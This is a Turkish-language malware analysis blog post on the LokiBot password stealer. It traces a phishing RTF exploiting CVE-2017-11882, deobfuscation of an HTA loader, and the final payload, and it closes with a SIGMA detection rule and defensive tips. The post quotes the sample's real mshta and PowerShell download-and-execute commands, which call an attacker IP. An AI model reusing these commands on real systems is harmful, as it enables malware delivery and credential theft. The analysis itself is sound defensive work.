LokiBot Analizi
LokiBot
Giriş
2015 yılından beri faaliyette olan LokiBot zararlısı 2019 yılının en popüler zararlılarından biri oldu. Bulaştığı sistemdeki parolaları çalma ve keyloggerlık görevi yapan LokiBot, ilk çıktığı günden beri farklı mekanizmalar kullanarak yayılmaya devam etti. Diğer zararlılar gibi LokiBot’un da en çok kullandığı yayılma yolu oltalama mailleri oldu. Android tarafında da etkili olduğu gibi Windows tarafında da etkili. Bu yazıda Windows tarafındaki aktivitesi hakkında bilgi bulacaksınız.Özet
Bu analiz 2015 yılından beri aktif olan LokiBot zararlı yazılımının neler yaptığını anlatmaya yöneliktir. Yazıda LokiBot nasıl yayıldığını ve sistem üzerinde neler yaptığını bulabilirsiniz. Kısa bir özetlemek gerekirse, zararlı oltalama mailleriyle yayılıp kurbanlarına iletiliyor. Ekte bulunan zararlı ofis dosyası açıldığında CVE-2017-11882 kodlu zafiyeti istismar ederek uzaktan PowerShell scripti indiriyor. İndirilen script çalıştığı zaman LokiBot zararlısını indirip çalıştırmaya başlıyor. Zararlının amacı uzaktan hedef sistemdeki parola, clipboard ve klavye hareketleri bilgilerini çalmak. Aşağıdaki görsellerde LokiBot’un zararlı aktivitelerini ve kullanılan MITRE ATT&CK tekniklerini bulabilirsiniz.Temel Bilgiler
İncelenen zararlıya ait detayları aşağıdaki tablolarda bulabilirsiniz.
initial.rtf
|
|
MD5
|
66fa7ddfeb6c0ec573e81278710c18a9 |
SHA-1
|
0237c9f7d0b609fb1f166f52a8d6abd4a57c688f |
SHA-256
|
867386277589c08a2a334eb7809b93864c2ad997a9b12a12585ecea9a14a7db4 |
Dosya
Türü
|
Rich
Text Format
|
Dosya
boyutu
|
248.01 KB |
nup.exe
|
|
MD5
|
07f3636ed51253956e97c12f67c549a3 |
SHA-1
|
64efe8c323b756fb26bc915ddc0899fb9c2455c4 |
SHA-256
|
a0074172e1523132040cb1cde2bd9c382211f6c444bbb78af0929c973893e487 |
Dosya
Türü
|
Win32 EXE |
Dosya
boyutu
|
748 KB |
Analiz
Oltalama maili ile gelen eki açtığımızda karşımızda bir adet RTF dosyası çıkıyor. Bu dosyayı açmadan önce any.run üzerinde çalıştırarak neler yaptığını görelim.EQNEDT32.exe’yi çalıştırdığını görüyoruz. EQNED32.exe yani Equation Editoru görünce CVE-2017-11882 aklıma geliyor. Zafiyeti kısaca özet geçmek gerekirse Office üzerinde bulunan Equation Editor’de Font özelliğini buffer-overflow yöntemiyle kod çalıştırmamıza imkan sağlar. Geçen yazıda incelediğimiz dosya parola korumalıydı. Bu parola korumalı olmadığı için “rtfdump” yardımıyla dosyayı inceleyebiliriz.
“python rtfdump.py -s a initial.rtf”
Dump aldıktan sonra dosyayı incelemeye koyuluyoruz. Burada gözüme mshta karakterlerinin sıralanışı çarpıyor.
Çalıştırılacak komut ayıklandığından elimizde mshta komutu kalıyor. Bu komut:
“mShTA http://103.207.38.8:1010/hta &AAAAAAAA<0x12><0x0C>C”
Komut yukarıdaki IP adresinde bulunan hta dosyasını indirip çalıştırıyor. Hta “HTML Application”ın uzantısı olup, mshta ile çalıştırılabilir hale geliyor. Genellikle Jscript, VBScript gibi diller yazılmaktadır. Bu .hta dosyasına baktığımızda obfuscate edildiğini görüyoruz.
Şimdi kodu analiz etmeye başlayalım. Script “replaceAll” ve
“bas” adında iki tane fonksiyondan oluşuyor. Fonksiyonun
adından da anlaşılacağı üzere obfuscate edilmiş string’te
ilk argümandaki karakterler yerine ikinci argümandaki karakterleri
koyuyor. “bas” fonksiyonu ise deobfuscation’ın yapıldığı
fonksiyon. Bu fonksiyonuda 2’ye bölüp anlatmak istiyorum.
replaceAll fonksiyonlarının bittiği satıra kadar bir parça
fonksiyonun sonuna kadar bir parça olarak bölüyorum.
İlk parçada karakterlerin yerine başka karakterler konulduğunu
söylemiştik. Fakat bu parçanın sonunda oluşan string değerine
baktığımızda yabancı gelmeyen bir string görüyoruz.Base64 ile encode edildiğini tahmin edip decode etmeden devam ediyoruz. Fonksiyona baktığımızda birtakım mantıksal işlemler yapıldığını görüyoruz. İlk bakışta banada çok anlamlı gelmemişti fakat yukarıdaki ipucundan sonra bunun base64 decode fonksiyonu olup olmadığını kontrol ediyorum ve farklı bir şekilde implemente edilmiş olduğunu görüyorum. İlk görselde base64’ün for döngüsü implementasyonu varken ikinci görselde saldırganların kullandığı base64 implementeasyonunu görüyoruz.
Decode ettikten sonra aşağıdaki script karşımıza çıkıyor.
Bu scriptte cm değişkeninin içerisindeki PowerShell komutunun çalıştırıldığını görüyoruz. Çalıştırılan PowerShell komutu şu şekildedir:
“powershell -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($V.downloadstring('http://103.207.38.8:1010/get'));”
Verilen adresdeki dosyanın indirilip çalıştırıldığını görüyoruz. En son indirilen dosyayı incelemeye başlayalım. Ağır bir şekilde obfuscate edilmiş bir PowerShell scripti görüyoruz. Obfuscate edilmiş kısmın bir kısmını aşağıda görebilirsiniz.
Adım adım bu betiği incelemeye başlayalım. İlk başta “.exe”nin base64 şekilde decode edildiğini görüyoruz.
1841.satıra geldiğimizde RO ile başlayan fonksiyonu çağırdığını görüyoruz. Bu fonksiyon minimum 3 maksimum 5 karakter uzunluğunda rastgele bir string üretiyor.
Public dizinine kaydetmek için biraz önce üretilen rastgele stringle beraber bunları birleştirip devam ediyor.
Gördüğümüz uzun string decode edildikten sonra rastgele üretilen dosyaya yazılıyor.
Sonraki fonksiyona girdiğinde kaydedilen dosyanın uzantısını kontrol ediyor. Dll ise regsvr32 üzerinden çalıştırıldığını, exe ise normal çalıştırıldığını görüyoruz.
Elimizde artık en son çalıştırılabilir dosya bulunuyor. Bu dosyanın yaptıkları klasik bir parola hırsızı zararlısının yaptıklarından çok farklı değil. Sistemde gezerek, parola ile ilgili dosyaları araştırıyor. Araştırdığı uygulamaları genel olarak web tarayıcıları, ftp uygulamaları, ssh uygulamaları oluşturuyor.
Bunları aldıktan sonra uzaktaki sunucuyla iletişime geçiyor. C&C sunucusuna bazı POST istekleri attığını görüyoruz.
LokiBot için Uygulanabilecek SIGMA Kuralı
title: LokiBotdescription: Detection of LokiBot
author: Burak ÇARIKÇI, CRYPTTECH
references:
- https://www.sans.org/reading-room/whitepapers/malicious/loki-bot-information-stealer-keylogger-more-37850
date: 2019/09/26
status: testing
logsource:
product: windows
service: sysmon
detection:
selection1:
EventID: "1"
CommandLine:
- GET /five
- POST /five/fre.php
selection2:
EventID: 1
ParentImage: '*\EQNEDT32.EXE'
condition: selection1 and selection2
falsepositives:
- Unknown
level: high
mitre-attack:
Execution:
- User Execution
- Command-Line Interface
Öneriler
- Bilinçlenmek en büyük önlemlerden biridir. Dosyaları
açarken daha dikkatli olmalıyız.
- Şirket içi güvenlik politikası oluşturulmalıdır.
- Bilmediğiniz kaynaklardan gelen dosyaları açmayın.
LokiBot ve diğer zararlıların yayılma yollarından bir tanesi
oltalama maillerini kullanmaktır.
- Güvenmediğiniz dosyaları çevrimiçi araçlarla
(VirusTotal, hybrid-analysis vb.) kolayca analiz edebilirsiniz.
- Güvenlik ürünü kullanabilirsiniz.
Kaynaklar
- Loki-Bot: Information
Stealer, Keylogger, & More!:
https://www.sans.org/reading-room/whitepapers/malicious/loki-bot-information-stealer-keylogger-more-37850
- Hijacked LokiBot analysis:
https://github.com/d00rt/hijacked_lokibot_version
- İncelene zararlının any.run linki:
https://app.any.run/tasks/2103dc0e-b4ae-4187-93ac-e13201e7f0bc/
- İncelenen zararlının hybrid-analysis linki: https://www.hybrid-analysis.com/sample/a0074172e1523132040cb1cde2bd9c382211f6c444bbb78af0929c973893e487?environmentId=100
Burak ÇARIKÇI
Bilgi Güvenliği Mühendisi
Yorumlar
Yorum Gönder